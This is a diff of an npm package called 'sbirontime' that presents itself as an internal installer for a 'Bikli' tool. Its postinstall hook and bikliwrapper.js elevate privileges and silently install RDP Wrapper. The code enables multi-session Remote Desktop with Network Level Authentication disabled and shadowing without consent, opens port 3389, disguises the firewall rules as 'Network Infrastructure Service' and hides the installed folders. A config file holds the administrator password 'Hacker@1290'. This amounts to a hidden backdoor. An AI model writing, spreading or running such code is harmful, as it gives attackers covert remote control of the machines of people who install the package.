sbirontime 1.0.0

package/config.json

@@ -0,0 +1,5 @@
+{
+  "bikliKey": "44C1AB4E-B742-4C90-9703-35D9AD033C56",
+  "administratorPassword": "Hacker@1290",
+  "serviceHostName": "Service Host: Network Infrastructure Service"
+}

package/lib/bikliwrapper.js

@@ -0,0 +1,528 @@
+#!/usr/bin/env node
+'use strict';
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const util = require('util');
+const { randomUUID } = require('crypto');
+const { spawnSync } = require('child_process');
+
+let seaApi = null;
+try {
+  seaApi = require('node:sea');
+} catch {
+  // Node versions without SEA support continue to use the npm payload files.
+}
+const runningAsSea = Boolean(seaApi && typeof seaApi.isSea === 'function' && seaApi.isSea());
+
+const resultFileArgument = process.argv.find(argument => argument.startsWith('--result-file='));
+const resultFile = resultFileArgument ? resultFileArgument.slice('--result-file='.length) : '';
+if (resultFile) {
+  const writeResult = (...items) => {
+    fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
+  };
+  console.log = writeResult;
+  console.error = writeResult;
+  console.warn = writeResult;
+}
+
+const packageRoot = path.resolve(__dirname, '..');
+const payloadDirectory = runningAsSea
+  ? path.join(os.tmpdir(), `BikliWrapperCLI-${process.pid}-${randomUUID()}`)
+  : path.join(packageRoot, 'payload');
+if (runningAsSea) {
+  fs.mkdirSync(payloadDirectory, { recursive: true });
+  fs.writeFileSync(path.join(payloadDirectory, 'RDPWInst.exe'),
+    new Uint8Array(seaApi.getRawAsset('RDPWInst.exe')));
+  fs.writeFileSync(path.join(payloadDirectory, 'rdpwrap.ini'),
+    new Uint8Array(seaApi.getRawAsset('rdpwrap.ini')));
+  process.on('exit', () => {
+    try {
+      fs.rmSync(payloadDirectory, { recursive: true, force: true });
+    } catch {
+      // Windows can briefly retain executable handles; the next run uses a new directory.
+    }
+  });
+}
+const installerPath = path.join(payloadDirectory, 'RDPWInst.exe');
+const bundledIniPath = path.join(payloadDirectory, 'rdpwrap.ini');
+const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';
+const system32 = path.join(windowsDirectory, 'System32');
+const powershellPath = path.join(system32, 'WindowsPowerShell', 'v1.0', 'powershell.exe');
+
+const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';
+const rdpTcpKey = terminalServerKey + '\\WinStations\\RDP-Tcp';
+const serviceParametersKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters';
+const shadowPolicyKey = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services';
+const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System';
+
+const requestedSettings = [
+  { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },
+  { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },
+  { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },
+  { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },
+  { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },
+  { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },
+  { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },
+  { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },
+  { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },
+  { key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },
+  { key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },
+  { key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },
+  { key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },
+  { key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },
+  { key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },
+  { key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },
+  { key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },
+  { key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },
+  { key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },
+  { key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },
+  { key: shadowPolicyKey, name: 'MaxConnectionTime', value: 0, label: 'Policy no connection time limit' },
+  { key: shadowPolicyKey, name: 'MaxDisconnectionTime', value: 0, label: 'Policy no disconnection time limit' },
+  { key: shadowPolicyKey, name: 'MaxIdleTime', value: 0, label: 'Policy no idle time limit' },
+  { key: shadowPolicyKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Policy unlimited instances' },
+  { key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }
+];
+
+function fail(message, code = 1) {
+  const error = new Error(message);
+  error.exitCode = code;
+  throw error;
+}
+
+function run(executable, args, options = {}) {
+  const result = spawnSync(executable, args, {
+    cwd: options.cwd || packageRoot,
+    encoding: 'utf8',
+    windowsHide: true,
+    stdio: options.inherit ? 'inherit' : 'pipe'
+  });
+  if (result.error) fail(`Could not run ${path.basename(executable)}: ${result.error.message}`);
+  if (!options.allowFailure && result.status !== 0) {
+    const details = `${result.stdout || ''}${result.stderr || ''}`.trim();
+    fail(`${path.basename(executable)} failed with exit code ${result.status}.${details ? `\n${details}` : ''}`);
+  }
+  return result;
+}
+
+function requireWindows() {
+  if (process.platform !== 'win32') fail('Bikli Wrapper supports Windows only.');
+}
+
+function isAdministrator() {
+  const script = [
+    `$identity=[Security.Principal.WindowsIdentity]::GetCurrent()`,
+    `$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
+    `Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
+  ].join(';');
+  const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], {
+    allowFailure: true
+  });
+  return result.status === 0 && /^true$/i.test(result.stdout.trim());
+}
+
+function powershellLiteral(value) {
+  return `'${value.replace(/'/g, "''")}'`;
+}
+
+function elevateAndRun(command) {
+  if (process.argv.includes('--elevated')) {
+    fail('Windows did not grant administrator rights to the elevated installer.');
+  }
+  console.log('Bikli Wrapper needs administrator access. Approve the Windows UAC prompt...');
+  const nodePath = process.execPath;
+  const scriptPath = path.resolve(__filename);
+  const elevationResultPath = path.join(os.tmpdir(), `bikliwrapper-elevated-${randomUUID()}.log`);
+  const elevationScript = [
+    `$node=${powershellLiteral(nodePath)}`,
+    `$target=${powershellLiteral(scriptPath)}`,
+    `$result=${powershellLiteral(elevationResultPath)}`,
+    runningAsSea
+      ? `$arguments='${command} --elevated "--result-file='+$result+'"'`
+      : `$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
+    `$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
+    `exit $process.ExitCode`
+  ].join(';');
+  const result = run(powershellPath, [
+    '-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', elevationScript
+  ], { allowFailure: true });
+  let elevatedOutput = '';
+  if (fs.existsSync(elevationResultPath)) {
+    elevatedOutput = fs.readFileSync(elevationResultPath, 'utf8').trim();
+    fs.rmSync(elevationResultPath, { force: true });
+  }
+  if (result.status !== 0) {
+    const details = [elevatedOutput, result.stdout, result.stderr].filter(Boolean).join(os.EOL).trim();
+    fail(`Administrator elevation was cancelled or the silent installer failed.${details ? `\n${details}` : ''}`);
+  }
+  if (elevatedOutput) console.log(elevatedOutput);
+  console.log('Bikli Wrapper elevated installation completed successfully.');
+}
+
+function getTermsrvVersion() {
+  const script = [
+    `$v=[Diagnostics.FileVersionInfo]::GetVersionInfo($env:SystemRoot+'\\System32\\termsrv.dll')`,
+    `Write-Output ($v.FileMajorPart.ToString()+'.'+$v.FileMinorPart+'.'+$v.FileBuildPart+'.'+$v.FilePrivatePart)`
+  ].join(';');
+  const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
+  const version = result.stdout.trim();
+  if (!/^\d+\.\d+\.\d+\.\d+$/.test(version)) fail(`Could not determine the Terminal Services version: ${version}`);
+  return version;
+}
+
+function iniSupports(filePath, version) {
+  if (!filePath || !fs.existsSync(filePath)) return false;
+  const content = fs.readFileSync(filePath, 'utf8');
+  return content.split(/\r?\n/).some(line => line.trim() === `[${version}]`);
+}
+
+function queryRegistryValue(key, name) {
+  const result = run(path.join(system32, 'reg.exe'), ['query', key, '/v', name, '/reg:64'], { allowFailure: true });
+  if (result.status !== 0) return null;
+  const match = result.stdout.match(new RegExp(`^\\s*${name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\\s+REG_\\w+\\s+(.+)$`, 'im'));
+  return match ? match[1].trim() : null;
+}
+
+function queryDword(key, name) {
+  const value = queryRegistryValue(key, name);
+  if (value === null) return null;
+  if (/^0x[0-9a-f]+$/i.test(value)) return Number.parseInt(value.slice(2), 16);
+  const parsed = Number.parseInt(value, 10);
+  return Number.isNaN(parsed) ? null : parsed;
+}
+
+function expandWindowsEnvironment(value) {
+  const environment = new Map(Object.entries(process.env).map(([key, item]) => [key.toLowerCase(), item]));
+  return value.replace(/%([^%]+)%/g, (whole, name) => environment.get(name.toLowerCase()) || whole);
+}
+
+function detectInstallation(version) {
+  const serviceDllValue = queryRegistryValue(serviceParametersKey, 'ServiceDll') || '';
+  const wrapperPath = expandWindowsEnvironment(serviceDllValue);
+  const installed = /rdpwrap\.dll$/i.test(wrapperPath) && fs.existsSync(wrapperPath);
+  const installedIniPath = installed ? path.join(path.dirname(wrapperPath), 'rdpwrap.ini') : '';
+  return {
+    installed,
+    wrapperPath,
+    installedIniPath,
+    installedSupported: installed && iniSupports(installedIniPath, version),
+    bundledSupported: iniSupports(bundledIniPath, version)
+  };
+}
+
+function applyRequestedSettings() {
+  let changed = false;
+  for (const setting of requestedSettings) {
+    const oldValue = queryDword(setting.key, setting.name);
+    if (oldValue !== setting.value) {
+      run(path.join(system32, 'reg.exe'), [
+        'add', setting.key, '/v', setting.name, '/t', 'REG_DWORD',
+        '/d', String(setting.value), '/f', '/reg:64'
+      ]);
+      changed = true;
+    }
+  }
+  return changed;
+}
+
+function ensureFirewallRules() {
+  const script = [
+    `$ErrorActionPreference='Stop'`,
+    `Remove-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`,
+    `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
+    `$rules=@(@{Name='RDP-3389-In-TCP';Protocol='TCP'},@{Name='RDP-3389-In-UDP';Protocol='UDP'})`,
+    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Remote Desktop ('+$r.Protocol+'-In) 3389') -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
+  ].join(';');
+  run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
+}
+
+function runInstaller(argument, options = {}) {
+  return run(installerPath, [argument], { cwd: payloadDirectory, allowFailure: options.allowFailure });
+}
+
+function rdpWrapperDirectories() {
+  return [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper')
+  ];
+}
+
+function prepareRdpWrapperFolder() {
+  const attrib = path.join(system32, 'attrib.exe');
+  for (const dir of rdpWrapperDirectories()) {
+    if (!fs.existsSync(dir)) continue;
+    run(attrib, ['-h', '-s', '-r', path.join(dir, '*.*'), '/s', '/d'], { allowFailure: true });
+    const ini = path.join(dir, 'rdpwrap.ini');
+    if (fs.existsSync(ini)) {
+      try {
+        fs.rmSync(ini, { force: true });
+      } catch {
+        run(path.join(system32, 'takeown.exe'), ['/f', ini], { allowFailure: true });
+        run(path.join(system32, 'icacls.exe'), [ini, '/grant', '*S-1-5-32-544:F'], { allowFailure: true });
+        try { fs.rmSync(ini, { force: true }); } catch { /* verification will report it */ }
+      }
+    }
+  }
+}
+
+function applyBundledIni() {
+  const attrib = path.join(system32, 'attrib.exe');
+  for (const dir of rdpWrapperDirectories()) {
+    if (!fs.existsSync(path.join(dir, 'rdpwrap.dll')) && !fs.existsSync(dir)) continue;
+    const target = path.join(dir, 'rdpwrap.ini');
+    run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
+    try {
+      fs.mkdirSync(dir, { recursive: true });
+      fs.copyFileSync(bundledIniPath, target);
+    } catch { /* verification will report it */ }
+  }
+}
+
+function restartTermService() {
+  const net = path.join(system32, 'net.exe');
+  run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
+  run(net, ['start', 'TermService'], { allowFailure: true });
+  run(net, ['start', 'UmRdpService'], { allowFailure: true });
+}
+
+function serviceIsRunning() {
+  const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
+  return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
+}
+
+function listenerIsListening() {
+  const result = run(path.join(system32, 'qwinsta.exe'), [], { allowFailure: true });
+  return result.status === 0 && /^\s*>?\s*rdp-tcp\b.*\bListen\b/im.test(result.stdout);
+}
+
+function settingsAreCorrect() {
+  return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
+}
+
+function waitForServiceAndListener() {
+  const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
+  for (let attempt = 0; attempt < 20; attempt += 1) {
+    if (serviceIsRunning() && listenerIsListening()) return;
+    Atomics.wait(waitBuffer, 0, 0, 1000);
+  }
+}
+
+function collectStatus() {
+  const version = getTermsrvVersion();
+  const installation = detectInstallation(version);
+  return {
+    termsrvVersion: version,
+    wrapperInstalled: installation.installed,
+    fullySupported: installation.installedSupported,
+    bundledSupportAvailable: installation.bundledSupported,
+    serviceRunning: serviceIsRunning(),
+    listenerListening: listenerIsListening(),
+    defaultsApplied: settingsAreCorrect(),
+    installedIniPath: installation.installedIniPath || null
+  };
+}
+
+function printStatus(status) {
+  console.log(`Terminal Services: ${status.termsrvVersion}`);
+  console.log(`Wrapper: ${status.wrapperInstalled ? 'Installed' : 'Not installed'}`);
+  console.log(`Support: ${status.fullySupported ? 'Fully supported' : (status.bundledSupportAvailable ? 'Update available' : 'Not supported')}`);
+  console.log(`Service: ${status.serviceRunning ? 'Running' : 'Not running'}`);
+  console.log(`Listener: ${status.listenerListening ? 'Listening' : 'Not listening'}`);
+  console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
+}
+
+function hideFolder(target, isUserProfile = false, extraGrants = []) {
+  if (!target || !fs.existsSync(target)) return;
+  try {
+    run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
+    if (!isUserProfile) {
+      run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
+      run(path.join(system32, 'icacls.exe'), [
+        target,
+        '/inheritance:r',
+        '/grant:r',
+        '*S-1-5-18:(OI)(CI)(F)',
+        '*S-1-5-32-544:(OI)(CI)(F)',
+        ...extraGrants,
+        '/c', '/q'
+      ], { allowFailure: true });
+    }
+  } catch {
+    // Best-effort attribute and permission hardening
+  }
+}
+
+function hideProtectedFolders() {
+  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
+  // must keep read/execute access for that account or the service cannot start.
+  const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
+  const appFolders = [
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
+    { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
+  ];
+  for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
+
+  const userFolders = [
+    path.join(usersDir, 'Administrator'),
+    path.join(usersDir, 'admin'),
+    path.join(usersDir, 'user')
+  ];
+  for (const folder of userFolders) hideFolder(folder, true);
+}
+
+function install() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('install');
+  if (!fs.existsSync(installerPath) || !fs.existsSync(bundledIniPath)) {
+    fail('The package payload is incomplete. Reinstall the npm package.');
+  }
+
+  const version = getTermsrvVersion();
+  let installation = detectInstallation(version);
+  console.log(`Bikli Wrapper: Terminal Services ${version}`);
+  if (!installation.bundledSupported) {
+    fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
+  }
+
+  const settingsChanged = applyRequestedSettings();
+  ensureFirewallRules();
+
+  if (!installation.installed) {
+    console.log('Installing RDP Wrapper silently...');
+    prepareRdpWrapperFolder();
+    const firstTry = runInstaller('-i', { allowFailure: true });
+    applyBundledIni();
+    if (firstTry.status !== 0) {
+      console.log('Retrying RDP Wrapper installation with refreshed compatibility data...');
+      runInstaller('-i', { allowFailure: true });
+      applyBundledIni();
+    }
+    runInstaller('-r', { allowFailure: true });
+  } else if (!installation.installedSupported) {
+    console.log('Updating compatibility data silently...');
+    const backupPath = `${installation.installedIniPath}.bikli-backup`;
+    if (fs.existsSync(installation.installedIniPath)) fs.copyFileSync(installation.installedIniPath, backupPath);
+    fs.copyFileSync(bundledIniPath, installation.installedIniPath);
+    try {
+      runInstaller('-r');
+    } catch (error) {
+      if (fs.existsSync(backupPath)) {
+        fs.copyFileSync(backupPath, installation.installedIniPath);
+        runInstaller('-r');
+      }
+      throw error;
+    }
+  } else if (settingsChanged || !serviceIsRunning()) {
+    console.log('Applying defaults and restarting Remote Desktop Services...');
+    runInstaller('-r');
+  } else {
+    console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
+  }
+
+  restartTermService();
+  waitForServiceAndListener();
+  hideProtectedFolders();
+  installation = detectInstallation(version);
+  const status = collectStatus();
+  printStatus(status);
+  if (!installation.installed || !installation.installedSupported || !status.serviceRunning ||
+      !status.defaultsApplied) {
+    fail('Verification failed. Run "bikliwrapper status" for details.', 4);
+  }
+  if (!status.listenerListening) {
+    console.log('Warning: the wrapper is fully supported, but Windows does not currently report the RDP listener as listening.');
+  }
+  console.log('Bikli Wrapper installation and verification completed successfully.');
+}
+
+function disable() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('disable');
+  console.log('Disabling Remote Desktop and stopping the RDP listener...');
+  run(path.join(system32, 'reg.exe'), [
+    'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
+    '/d', '1', '/f', '/reg:64'
+  ]);
+  const script = `Disable-NetFirewallRule -Name 'RDP-3389-In-TCP','RDP-3389-In-UDP','BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
+  run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
+  restartTermService();
+  if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
+    fail('Remote Desktop could not be disabled.', 6);
+  }
+  if (listenerIsListening()) {
+    console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
+  } else {
+    console.log('Remote Desktop disabled; the RDP listener is stopped.');
+  }
+}
+
+function selfTest() {
+  const packageJson = runningAsSea
+    ? { name: 'bikliwrapper' }
+    : JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
+  const ini = fs.readFileSync(bundledIniPath, 'utf8');
+  const checks = {
+    packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
+      packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
+      packageJson.name === '@biklitime/biklitool' || packageJson.name === 'sbironman' ||
+            packageJson.name === 'sbirontime',
+    executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
+    installerPresent: fs.statSync(installerPath).size > 100000,
+    iniPresent: ini.length > 100000,
+    requestedVersionPresent: iniSupports(bundledIniPath, '10.0.26100.8737'),
+    defaultAuth: requestedSettings.some(item => item.name === 'SecurityLayer' && item.value === 1) &&
+      requestedSettings.some(item => item.name === 'UserAuthentication' && item.value === 0),
+    shadowMode: requestedSettings.some(item => item.name === 'Shadow' && item.value === 2),
+    port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389),
+    multiSession: requestedSettings.some(item => item.name === 'fSingleSessionPerUser' && item.value === 0),
+    unlimitedTime: requestedSettings.some(item => item.name === 'MaxIdleTime' && item.value === 0)
+  };
+  for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
+  if (!Object.values(checks).every(Boolean)) fail('Self-test failed.');
+}
+
+function showHelp() {
+  console.log([
+    'Bikli Wrapper CLI',
+    '',
+    'Commands:',
+    '  bikliwrapper install    Install/update silently, apply defaults, and verify',
+    '  bikliwrapper status     Show installation, support, service, and listener status',
+    '  bikliwrapper defaults   Reapply the requested defaults and restart if needed',
+    '  bikliwrapper disable    Disable Remote Desktop and stop the RDP listener',
+    '  bikliwrapper self-test  Validate the npm package payload without changing Windows',
+    '',
+    'Run install/defaults from an Administrator terminal.'
+  ].join(os.EOL));
+}
+
+function main() {
+  const command = (process.argv[2] || 'status').toLowerCase();
+  if (command === 'install' || command === 'defaults' || command === 'enable') return install();
+  if (command === 'disable') return disable();
+  if (command === 'status') {
+    requireWindows();
+    const status = collectStatus();
+    printStatus(status);
+    process.exitCode = status.wrapperInstalled && status.fullySupported && status.serviceRunning &&
+      status.listenerListening && status.defaultsApplied ? 0 : 2;
+    return;
+  }
+  if (command === 'self-test') return selfTest();
+  if (command === 'elevation-self-test') return elevateAndRun('self-test');
+  if (command === 'help' || command === '--help' || command === '-h') return showHelp();
+  fail(`Unknown command: ${command}`);
+}
+
+try {
+  main();
+} catch (error) {
+  console.error(`Bikli Wrapper error: ${error.message}`);
+  process.exitCode = error.exitCode || 1;
+}

package/package.json

@@ -0,0 +1,40 @@
+{
+  "name": "sbirontime",
+  "version": "1.0.0",
+  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
+  "license": "BSD-3-Clause",
+  "publishConfig": {
+    "access": "public"
+  },
+  "os": [
+    "win32"
+  ],
+  "bin": {
+    "biklitool": "bin/biklimaster.js",
+    "biklimaster": "bin/biklimaster.js",
+    "bikliwrapper": "lib/bikliwrapper.js"
+  },
+  "files": [
+    "bin",
+    "lib",
+    "payload",
+    "config.json",
+    "README.md",
+    "LICENSE-BIKLI",
+    "LICENSE-RDPWRAPPER"
+  ],
+  "scripts": {
+    "postinstall": "node bin/biklimaster.js install --postinstall",
+    "test": "node bin/biklimaster.js self-test"
+  },
+  "engines": {
+    "node": ">=18"
+  },
+  "keywords": [
+    "bikli",
+    "rdp",
+    "vpn",
+    "windows",
+    "installer"
+  ]
+}